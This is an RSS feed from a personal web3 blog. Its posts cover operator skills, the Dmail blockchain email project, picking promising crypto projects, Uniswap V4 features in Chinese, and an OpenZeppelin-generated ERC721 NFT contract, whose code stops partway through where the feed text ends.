<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>skka3134</title>
        <link>https://paragraph.com/@skka3134</link>
        <description>skka3134@gmail.com</description>
        <lastBuildDate>Fri, 31 Jul 2026 05:37:37 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>skka3134</title>
            <url>https://storage.googleapis.com/papyrus_images/a59515dac093cb18fddf1b5a4edcb5f829b69a191f567bd82e1d325a9c4adc28.jpg</url>
            <link>https://paragraph.com/@skka3134</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[How to be a good web3 operator]]></title>
            <link>https://paragraph.com/@skka3134/how-to-be-a-good-web3-operator</link>
            <guid>TXMGXmxvtD7lstRydcQc</guid>
            <pubDate>Mon, 31 Jul 2023 15:21:01 GMT</pubDate>
            <description><![CDATA[Writing ability is the cornerstoneDifferent from the web2 era, writing ability is a basic and essential skill for web3 operators. To become an excellent web3 writer, the following points are particularly important:Practice writing in different forms, such as Twitter, Medium, Discord, etc. Proficiency in the language style of different writing scenarios.Adjust language style and posting time according to audience and occasion. The online status of users in different time periods is different.L...]]></description>
            <content:encoded><![CDATA[<blockquote><p>Writing ability is the cornerstone</p></blockquote><p>Different from the web2 era, writing ability is a basic and essential skill for web3 operators. To become an excellent web3 writer, the following points are particularly important:</p><ul><li><p>Practice writing in different forms, such as Twitter, Medium, Discord, etc. Proficiency in the language style of different writing scenarios.</p></li><li><p>Adjust language style and posting time according to audience and occasion. The online status of users in different time periods is different.</p></li><li><p>Learn the writing patterns of excellent projects and learn from them.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a84aa0d0985e96d10614c55c830a1aefd928b42ea7f394f684a5c5767f036602.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>Use non-linear thinking mode</p></blockquote><p>Traditional linear thinking may limit the effect of web3 operations. Excellent web3 operators need to use the following non-linear thinking mode:</p><ul><li><p>Leverage thinking: Get maximum value with minimum investment.</p></li><li><p>Hacker Growth Thinking: Constantly test new growth ideas and optimize operational data and indicators.</p></li><li><p>Work closely with the product team to continuously optimize the operation plan based on user data.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bfccdca3fb37990edfdd293c38a921076302436b1cdd9a32e6402e14ac3b5fb9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>Build comprehensive capabilities</p></blockquote><p>In the web3 world, excellent operators cannot be limited to a certain role, but need to develop comprehensive capabilities:</p><ul><li><p>It is necessary to be able to write content and operate the community.</p></li><li><p>Must have BD ability, good at socializing and expanding network resources.</p></li><li><p>Have an international perspective and keep up with the forefront of the industry.</p></li><li><p>Focus on enhancing personal influence and professional visibility.</p></li><li><p>Only by developing its own value in an all-round way can it be irreplaceable in the web3 world.</p></li></ul>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Earn money by sending Emails]]></title>
            <link>https://paragraph.com/@skka3134/earn-money-by-sending-emails</link>
            <guid>4D3h6ffEzOxrIvZoMDGW</guid>
            <pubDate>Sun, 30 Jul 2023 11:58:01 GMT</pubDate>
            <description><![CDATA[Background of Dmail Dmail was founded by Anonymous Group in 2021. The team previously launched a public chain project under the name ANOS. Dmail was first deployed on the DFINITY network and launched as the first decentralized email product. Subsequently, Dmail gradually expanded to multiple public chains and became a multi-chain supported blockchain email. As a pioneer in the blockchain and email service fields, Dmail obtained investment from institutions like Hashkey and KuCoin. As a startu...]]></description>
            <content:encoded><![CDATA[<p><strong>Background of Dmail</strong></p><p>Dmail was founded by Anonymous Group in 2021. The team previously launched a public chain project under the name ANOS. Dmail was first deployed on the DFINITY network and launched as the first decentralized email product.</p><p>Subsequently, Dmail gradually expanded to multiple public chains and became a multi-chain supported blockchain email. As a pioneer in the blockchain and email service fields, Dmail obtained investment from institutions like Hashkey and KuCoin.</p><p>As a startup team, Dmail&apos;s technical strength and product operation capabilities are constantly growing. With the completion of this Pre-A round financing, Dmail has gained resources for further development.</p><p>Compared to other email service providers, Dmail chose to innovate with blockchain technology to provide communication infrastructure for the decentralized era. Public chain email may become one of the key scenarios to drive user awareness of Web3.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a295639630b67decea322a2f9636b5cf170d8413926e46b443f321f615766600.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Advantages of Dmail as a blockchain email:</strong></p><ul><li><p>Decentralized storage, content exists on the blockchain, and users own the data. This avoids the risk of email service providers controlling user data, and users no longer worry about content being deleted or accounts being banned.</p></li><li><p>Encrypted transmission to protect user privacy and communication content security. Emails will not be monitored or intercepted during transmission through encryption algorithms.</p></li><li><p>Freedom from email service provider censorship. Users can freely send any legal information without third party review.</p></li><li><p>Email as the user&apos;s digital identity, which facilitates identifying users in Web3 applications. Seamless connectivity based on decentralized accounts.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1878c8119b2c97054e6ed273ccadf482bade67330c8f2bbe5c9b8fb2bdd0543e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Functional modules of Dmail:</strong></p><ul><li><p>Messaging: Similar to traditional email, supporting communication between different types of addresses. Covering major public chains, seamless interoperability with Web2 email.</p></li><li><p>Data storage: Using decentralized storage, content exists on the blockchain. Email content stored in a distributed manner, permanently owned by users.</p></li><li><p>Asset management: Can directly send and receive crypto assets in email. No need to switch applications to transfer.</p></li><li><p>Subscription and notification: Subscribe to project airdrop and other information push. More accurate delivery than social media.</p></li><li><p>NFT domain: Use bound domain as email address, with different permission levels. Indicates identity and is easy to remember, with clear hierarchy.</p></li><li><p>AI assistant: Integrated with ChatGPT, intelligently generates replies. Greatly improves email writing efficiency, wide applicability in marketing scenarios.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c86582fee9d9e0ae8215f684bf924f59a7367f6c5366585beb1c79c8bbb9d5e5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Dmail&apos;s development strategy:</strong></p><ul><li><p>Integrate with hot field tracks: Cutting-edge technologies and concepts like AI, Metaverse.</p></li><li><p>Establish partnerships with top projects: Cooperation with renowned projects like Worldcoin, ENS to acquire user base.</p></li><li><p>Continuous expansion of network support: Already covered multiple mainstream public chains, reducing user switching costs.</p></li><li><p>Incentivize usage through point system, but long-term mechanisms need to be established.</p></li><li><p>Actively deploy marketing to increase awareness and acquire users, enhancing diffusion.</p></li></ul><p><strong>Analysis of Mail to Earn model:</strong></p><p>With the arrival of the Web3 era, many blockchain projects have begun to explore different token economic designs. Recently, Mail to Earn has attracted attention, and Dmail is a pioneer of this model.</p><p>Mail to Earn encourages users to earn token rewards by using email. Users can obtain points through daily mail sending/receiving, inviting users, etc. Points can also be used to upgrade email permissions.</p><p>This model provides a new way for blockchain applications to acquire users. Unlike traditional apps, email has high frequency of use and strong user stickiness. Mail to Earn can form an effective incentive system.</p><p>But the sustainability of this model needs to be validated. Incentive mechanisms need to consider long-term factors, otherwise users may only profit short-term before churning, failing to form a stable ecosystem.</p><p>Project teams need to continuously enrich application scenarios to generate inherent value in the email service itself. Otherwise relying on airdrops and incentives, it will be difficult to retain users, and the model may fall into the &quot;chicken and egg&quot; dilemma.</p><p>In summary, Mail to Earn is worth paying attention to, but needs further improvement before it can become a sustainable token economic design.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3e5abbb6b0241322bd43216ac7e44b931e67cc62ca8801fdaaac5024952a27b1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[How to Discover the Next Billion Dollar Web3 Project!

]]></title>
            <link>https://paragraph.com/@skka3134/how-to-discover-the-next-billion-dollar-web3-project</link>
            <guid>KT9frqFeD9lmG78pcZah</guid>
            <pubDate>Sun, 30 Jul 2023 02:44:09 GMT</pubDate>
            <description><![CDATA[In this age of information explosion, the ability to discover the next top tier Web3 project among thousands of them is the holy grail for every investor and developer. So how can we cultivate such discernment and foresight? Here I attempt to summarize some specific suggestions. Firstly, paying close attention to early stage investments by top VCs is an effective approach. Top investment institutions like a16z, Paradigm, and Coinbase Ventures possess professional analysis teams that can ident...]]></description>
            <content:encoded><![CDATA[<p>In this age of information explosion, the ability to discover the next top tier Web3 project among thousands of them is the holy grail for every investor and developer. So how can we cultivate such discernment and foresight? Here I attempt to summarize some specific suggestions.</p><p><strong>Firstly, paying close attention to early stage investments by top VCs is an effective approach.</strong></p><p>Top investment institutions like a16z, Paradigm, and Coinbase Ventures possess professional analysis teams that can identify unicorn projects in their infancy. Their portfolios are filled with early investments in today’s multi-billion dollar projects like Avalanche, Solana, and Polygon. Studying their early stage investment theses can enhance one&apos;s judgement.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ea8581856488a064b9b5c8b19774ee9d917ea921bf3fd296091a9a1bd9cce69e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Secondly, monitoring Web3 project ranking sites like DappRadar for early projects with surging transaction volume is also crucial.</strong></p><p>These projects often possess immense technological innovation and user demand potential. For instance, investing selectively in GameFi projects on Solana with over 100,000% transaction growth can yield considerable returns. The key is to examine the project’s own economic incentive design, combined with one’s own market assessment.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e87629ca39efd6f159c1374a53fa5a61fb3ae17a0e20ed1032d50fdf67705bfd.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Thirdly, we need to take the long view and look out for new fields with the potential to become standards and disrupt existing paradigms</strong></p><p>Such as the currently burgeoning areas of decentralized storage, privacy computing, access tokens etc. Pioneers in these fields like Filecoin and Keep Network have tremendous upside potential.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1705c00ff9822af1967a89ca92532b42c5e0fd7aac272f135ee8ac53c00811f8.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Last but not least, actively participating in Web3 community discussions is also important.</strong></p><p>Metrics like GitHub commit frequency and the community discussion atmosphere can reflect a project’s intrinsic vibrancy. This requires us to maintain an open and proactive learning attitude in order to absorb more high-quality information.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3d9b2bfb88ba5ef3e562fc4f079eeb1f2fd161f178c186ebf3ebf72c55eff049.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Discovering the next titan requires keen insight, but even more so perseverance in learning. Let us wait and see, and witness the advent of Web3&apos;s next century of prosperity!</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Uniswap V4]]></title>
            <link>https://paragraph.com/@skka3134/uniswap-v4</link>
            <guid>fmg5Z9HTTPCANeTAnnN3</guid>
            <pubDate>Sun, 30 Jul 2023 01:19:53 GMT</pubDate>
            <description><![CDATA[Uniswap V3 是最大的交易所，他创造了超过 1.5 万亿的交易量。Uniswap 一直是这个领域的佼佼者 创新功能 触发器（hooks）：可以在一些时间点触发一些操作，其中 donate 是新功能，交易者可以选择一种资产作为手续费，以前是两种单例模式（singleton）: 在 V3 中，每一个池子都是一个合约，每一个流动性都是一个 nft，而在 v4 中融合成了一个合约。 闪存记账（flash accounting）: 一次交换，即使跨越了很多池子，只计算交换的数量，最后一次完成交换。 在左图的例子中，eth 交换 dai，一共调用了 4 个合约，而新版本只需要调用一次，大大节省了 gas 费用。 50% eth-》eth/usdc-》usdc-》usdc/dai-》dai 50% eth-》eth/usdt-》usdt-》usdt/dai-》dai影响 Uniswap V4 上线将会冲击所有的交易所，dex，cex 相较于自己的 V2,V3 而言，对小白更加不友好，策略的组合更加多样复杂，导致分析 LP 的盈利情况，趋势更加困难，方便高手闷声发大财。 建议 V2，V3...]]></description>
            <content:encoded><![CDATA[<p>Uniswap V3 是最大的交易所，他创造了超过 1.5 万亿的交易量。Uniswap 一直是这个领域的佼佼者<br><strong>创新功能</strong></p><p><strong>触发器（hooks）</strong>：可以在一些时间点触发一些操作，其中 donate 是新功能，交易者可以选择一种资产作为手续费，以前是两种</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7f5d899932685fe957b12d3384fb72917a6f928c71ba755460c5e742dbedc599.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>单例模式（singleton</strong>）: 在 V3 中，每一个池子都是一个合约，每一个流动性都是一个 nft，而在 v4 中融合成了一个合约。</p><p><strong>闪存记账（flash accounting</strong>）: 一次交换，即使跨越了很多池子，只计算交换的数量，最后一次完成交换。</p><p>在左图的例子中，eth 交换 dai，一共调用了 4 个合约，而新版本只需要调用一次，大大节省了 gas 费用。<br>50% eth-》eth/usdc-》usdc-》usdc/dai-》dai<br>50% eth-》eth/usdt-》usdt-》usdt/dai-》dai</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2316dc360e3cfae19b253af0c1ce2fc6f59fa85e67082230a8785ec2b946f8bb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>影响</strong></p><p>Uniswap V4 上线将会冲击所有的交易所，dex，cex</p><p>相较于自己的 V2,V3 而言，对小白更加不友好，策略的组合更加多样复杂，导致分析 LP 的盈利情况，趋势更加困难，方便高手闷声发大财。</p><p><strong>建议</strong></p><p>V2，V3 的策略依旧可以用，可以提前熟悉起来，等到 V4 上线后，狠狠的赚他一笔。</p><p>常见的策略更新</p><p>参考资料：<br>uniswap-v4 博客 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.uniswap.org/uniswap-v4">https://blog.uniswap.org/uniswap-v4</a><br>白皮书 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Uniswap/v4-core/blob/main/whitepaper-v4-draft.pdf">https://github.com/Uniswap/v4-core/blob/main/whitepaper-v4-draft.pdf</a><br>律动：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.theblockbeats.info/news/42643">https://www.theblockbeats.info/news/42643</a><br>TWAMM 时间加权平均做市商的机制：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.paradigm.xyz/2021/07/twamm">https://www.paradigm.xyz/2021/07/twamm</a></p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[ ERC721 (NFT) ]]></title>
            <link>https://paragraph.com/@skka3134/erc721-nft</link>
            <guid>6ptBsOG7l4sjU8ae12B3</guid>
            <pubDate>Thu, 27 Jul 2023 13:13:11 GMT</pubDate>
            <description><![CDATA[1.用 Wizard 开发 contract https://docs.openzeppelin.com/contracts/4.x/wizard Mintable : mint nft Auto increment Ids : id automatic increment Burnable : burn nft Pausable : Pause nft transfer Enumerable : View total issuance URI storage: URI of nft Ownable: ownership control, an administrator Roles: ownership control, multiple administrators Transparent: transparent proxy UUPS: Proxy Contracts to Solve Conflictable Problems// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppe...]]></description>
            <content:encoded><![CDATA[<p>1.用 Wizard 开发 contract</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/4.x/wizard">https://docs.openzeppelin.com/contracts/4.x/wizard</a></p><p>Mintable : mint nft</p><p>Auto increment Ids : id automatic increment</p><p>Burnable : burn nft</p><p>Pausable : Pause nft transfer</p><p>Enumerable : View total issuance URI storage: URI of nft</p><p>Ownable: ownership control, an administrator</p><p>Roles: ownership control, multiple administrators</p><p>Transparent: transparent proxy</p><p>UUPS: Proxy Contracts to Solve Conflictable Problems</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/460013df7a410bd64b55ab38583db6a21b8732cad7b994086b354ed3ae8a2578.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import &quot;@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/token/ERC721/extensions/draft-ERC721VotesUpgradeable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol&quot;;

/// @custom:security-contact skka3134@gmail.com
contract Dragon is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable, PausableUpgradeable, OwnableUpgradeable, ERC721BurnableUpgradeable, EIP712Upgradeable, ERC721VotesUpgradeable {
    using CountersUpgradeable for CountersUpgradeable.Counter;

    CountersUpgradeable.Counter private _tokenIdCounter;

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize() initializer public {
        __ERC721_init(&quot;Dragon&quot;, &quot;Drag&quot;);
        __ERC721Enumerable_init();
        __ERC721URIStorage_init();
        __Pausable_init();
        __Ownable_init();
        __ERC721Burnable_init();
        __EIP712_init(&quot;Dragon&quot;, &quot;1&quot;);
        __ERC721Votes_init();
    }

    function pause() public onlyOwner {
        _pause();
    }

    function unpause() public onlyOwner {
        _unpause();
    }

    function safeMint(address to, string memory uri) public onlyOwner {
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

    function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
        internal
        whenNotPaused
        override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
    {
        super._beforeTokenTransfer(from, to, tokenId, batchSize);
    }

    // The following functions are overrides required by Solidity.

    function _afterTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
        internal
        override(ERC721Upgradeable, ERC721VotesUpgradeable)
    {
        super._afterTokenTransfer(from, to, tokenId, batchSize);
    }

    function _burn(uint256 tokenId)
        internal
        override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
    {
        super._burn(tokenId);
    }

    function tokenURI(uint256 tokenId)
        public
        view
        override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
        returns (string memory)
    {
        return super.tokenURI(tokenId);
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable)
        returns (bool)
    {
        return super.supportsInterface(interfaceId);
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.9;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/draft-ERC721VotesUpgradeable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"</span>;

<span class="hljs-comment">/// @custom:security-contact skka3134@gmail.com</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Dragon</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Initializable</span>, <span class="hljs-title">ERC721Upgradeable</span>, <span class="hljs-title">ERC721EnumerableUpgradeable</span>, <span class="hljs-title">ERC721URIStorageUpgradeable</span>, <span class="hljs-title">PausableUpgradeable</span>, <span class="hljs-title">OwnableUpgradeable</span>, <span class="hljs-title">ERC721BurnableUpgradeable</span>, <span class="hljs-title">EIP712Upgradeable</span>, <span class="hljs-title">ERC721VotesUpgradeable</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">CountersUpgradeable</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">CountersUpgradeable</span>.<span class="hljs-title">Counter</span>;

    CountersUpgradeable.Counter <span class="hljs-keyword">private</span> _tokenIdCounter;

    <span class="hljs-comment">/// @custom:oz-upgrades-unsafe-allow constructor</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        _disableInitializers();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize</span>(<span class="hljs-params"></span>) <span class="hljs-title">initializer</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        __ERC721_init(<span class="hljs-string">"Dragon"</span>, <span class="hljs-string">"Drag"</span>);
        __ERC721Enumerable_init();
        __ERC721URIStorage_init();
        __Pausable_init();
        __Ownable_init();
        __ERC721Burnable_init();
        __EIP712_init(<span class="hljs-string">"Dragon"</span>, <span class="hljs-string">"1"</span>);
        __ERC721Votes_init();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pause</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        _pause();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unpause</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        _unpause();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">safeMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> uri</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-keyword">uint256</span> tokenId <span class="hljs-operator">=</span> _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_beforeTokenTransfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> tokenId, <span class="hljs-keyword">uint256</span> batchSize</span>)
        <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
        <span class="hljs-title">whenNotPaused</span>
        <span class="hljs-title"><span class="hljs-keyword">override</span></span>(<span class="hljs-params">ERC721Upgradeable, ERC721EnumerableUpgradeable</span>)
    </span>{
        <span class="hljs-built_in">super</span>._beforeTokenTransfer(<span class="hljs-keyword">from</span>, to, tokenId, batchSize);
    }

    <span class="hljs-comment">// The following functions are overrides required by Solidity.</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_afterTokenTransfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> tokenId, <span class="hljs-keyword">uint256</span> batchSize</span>)
        <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
        <span class="hljs-title"><span class="hljs-keyword">override</span></span>(<span class="hljs-params">ERC721Upgradeable, ERC721VotesUpgradeable</span>)
    </span>{
        <span class="hljs-built_in">super</span>._afterTokenTransfer(<span class="hljs-keyword">from</span>, to, tokenId, batchSize);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_burn</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>)
        <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
        <span class="hljs-title"><span class="hljs-keyword">override</span></span>(<span class="hljs-params">ERC721Upgradeable, ERC721URIStorageUpgradeable</span>)
    </span>{
        <span class="hljs-built_in">super</span>._burn(tokenId);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tokenURI</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>)
        <span class="hljs-title"><span class="hljs-keyword">public</span></span>
        <span class="hljs-title"><span class="hljs-keyword">view</span></span>
        <span class="hljs-title"><span class="hljs-keyword">override</span></span>(<span class="hljs-params">ERC721Upgradeable, ERC721URIStorageUpgradeable</span>)
        <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>)
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.tokenURI(tokenId);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">supportsInterface</span>(<span class="hljs-params"><span class="hljs-keyword">bytes4</span> interfaceId</span>)
        <span class="hljs-title"><span class="hljs-keyword">public</span></span>
        <span class="hljs-title"><span class="hljs-keyword">view</span></span>
        <span class="hljs-title"><span class="hljs-keyword">override</span></span>(<span class="hljs-params">ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable</span>)
        <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)
    </span>{
